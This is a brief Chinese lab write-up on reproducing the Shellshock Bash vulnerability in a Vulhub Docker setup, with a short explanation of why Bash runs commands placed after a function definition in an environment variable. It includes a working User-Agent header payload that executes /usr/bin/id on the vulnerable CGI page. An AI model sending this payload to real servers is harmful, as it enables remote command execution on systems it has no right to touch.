1.使用vluhub的环境进行复现
docker-compose build
docker-compose up -d
docker ps
环境生成后会有两个页面。http://192.168.0.105:8080/victim.cgi 和 http://192.168.0.105:8080/safe.cgi
其中safe.cgi是最新版bash生成的页面,viceim.cgi是bash4.3生成的页面,使用payload访问victim.cgi
User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id
漏洞原理
目前的Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。